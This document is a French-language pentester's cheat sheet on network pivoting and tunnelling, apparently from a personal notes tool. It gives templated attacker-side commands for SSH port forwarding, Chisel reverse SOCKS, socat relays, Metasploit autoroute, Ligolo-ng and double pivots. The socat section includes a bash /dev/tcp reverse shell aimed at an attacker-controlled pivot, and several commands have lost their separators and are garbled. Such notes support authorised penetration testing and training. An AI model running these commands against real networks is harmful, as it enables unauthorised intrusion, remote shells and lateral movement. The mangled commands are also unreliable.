MDstable
NoteSnippetChecklistPlaybook

Pivoting & Tunneling

Techniques de pivoting réseau et création de tunnels

snippetadvanced 2025-05-10 3 min read
pivotingtunnelingchiselsshproxychainssocks5

SSH Tunneling

Port forwarding local

bash
Variables
{{REMOTE_PORT}}
{{LOCAL_PORT}}
{{TARGET_INTERNAL}}
{{USER}}
{{PIVOT_HOST}}
# Accéder au port {{REMOTE_PORT}} de la cible via localhost:{{LOCAL_PORT}}
ssh -L {{LOCAL_PORT}}{{TARGET_INTERNAL}}{{REMOTE_PORT}} {{USER}}{{PIVOT_HOST}}
# Exemple : accéder à RDP interne
ssh -L 33891921681103389 userpivothost

Port forwarding distant (reverse)

bash
Variables
{{REMOTE_PORT}}
{{LOCAL_PORT}}
{{USER}}
{{PIVOT_HOST}}
# Exposer un port local sur le pivot (utile quand la cible est derrière NAT)
ssh -R {{REMOTE_PORT}}localhost{{LOCAL_PORT}} {{USER}}{{PIVOT_HOST}}

Dynamic SOCKS proxy

bash
Variables
{{USER}}
{{PIVOT_HOST}}
{{TARGET_INTERNAL}}
# Créer un proxy SOCKS5 sur localhost:1080
ssh -D 1080 -N {{USER}}{{PIVOT_HOST}}
# Configurer proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
# Scanner via le proxy
proxychains nmap -sT -Pn {{TARGET_INTERNAL}}
proxychains curl http//{{TARGET_INTERNAL}}

Chisel

Serveur (côté attaquant)

bash
Variables
{{CHISEL_PORT}}
# SOCKS5 reverse
/chisel server -p {{CHISEL_PORT}} --reverse
# Écoute sur 0.0.0.0:{{CHISEL_PORT}}

Client (côté cible)

bash
Variables
{{LHOST}}
{{CHISEL_PORT}}
{{LOCAL_PORT}}
{{TARGET_INTERNAL}}
{{REMOTE_PORT}}
# Reverse SOCKS5
/chisel client {{LHOST}}{{CHISEL_PORT}} Rsocks
# Reverse port forward
/chisel client {{LHOST}}{{CHISEL_PORT}} R{{LOCAL_PORT}}{{TARGET_INTERNAL}}{{REMOTE_PORT}}

Configurer proxychains après chisel

bash
Variables
{{TARGET_INTERNAL}}
{{USER}}
{{PASSWORD}}
# /etc/proxychains4.conf
socks5 127001 1080
# Utiliser
proxychains evil-winrm -i {{TARGET_INTERNAL}} -u {{USER}} -p {{PASSWORD}}
proxychains python3 -m impacketsmbclient //{{TARGET_INTERNAL}}/share

Socat

Port relay simple

bash
Variables
{{LOCAL_PORT}}
{{TARGET_INTERNAL}}
{{REMOTE_PORT}}
# Sur le pivot : relayer les connexions vers la cible interne
socat TCP-LISTEN:{{LOCAL_PORT}},fork TCP{{TARGET_INTERNAL}}{{REMOTE_PORT}}

Relay reverse shell

bash
Variables
{{RELAY_PORT}}
{{LHOST}}
{{LPORT}}
{{PIVOT_HOST}}
# Sur le pivot (écoute et relaie vers l'attaquant)
socat TCP-LISTEN:{{RELAY_PORT}},fork TCP{{LHOST}}{{LPORT}}
# Sur la cible (reverse shell vers le pivot)
bash -i >& /dev/tcp/{{PIVOT_HOST}}{{RELAY_PORT}} 0>&1

Metasploit — route et SOCKS

bash
Variables
{{INTERNAL_SUBNET}}
{{SESSION_ID}}
{{TARGET_INTERNAL}}
# Dans meterpreter sur le pivot
run post/multi/manage/autoroute SUBNET{{INTERNAL_SUBNET}} NETMASK2552552550
# Ajouter une route manuelle
background
route add {{INTERNAL_SUBNET}}/24 {{SESSION_ID}}
# Créer un SOCKS proxy Metasploit
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run
# Utiliser proxychains
proxychains nmap -sT {{TARGET_INTERNAL}}

Ligolo-ng

Serveur (attaquant)

bash
/proxy -selfcert -laddr 000011601

Agent (cible / pivot)

bash
Variables
{{LHOST}}
/agent -connect {{LHOST}}11601 -ignore-cert

Dans la console Ligolo

bash
Variables
{{INTERNAL_SUBNET}}
{{TARGET_INTERNAL}}
# Lister les sessions
session
# Sélectionner la session
1
# Démarrer le tunnel
start
# Ajouter une route réseau (côté attaquant)
ip route add {{INTERNAL_SUBNET}}/24 dev ligolo
# Accès direct sans proxychains
nmap {{TARGET_INTERNAL}}

Double pivot

bash
Variables
{{LHOST}}
{{PIVOT2}}
# Chisel : attaquant -> pivot1 -> pivot2 -> cible
# Sur attaquant :
/chisel server -p 8080 --reverse
# Sur pivot1 :
/chisel client {{LHOST}}8080 R1080socks
# Via proxychains, lancer un deuxième chisel depuis pivot1 vers pivot2
proxychains /chisel client {{PIVOT2}}8080 R1081socks
# /etc/proxychains4.conf
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081
💡 Tip —

Ligolo-ng est généralement plus performant que chisel pour les environnements avec beaucoup de trafic. Chisel est plus simple à déployer pour des accès ponctuels.

OPS·BRAIN v1.075 notes · Securitylocal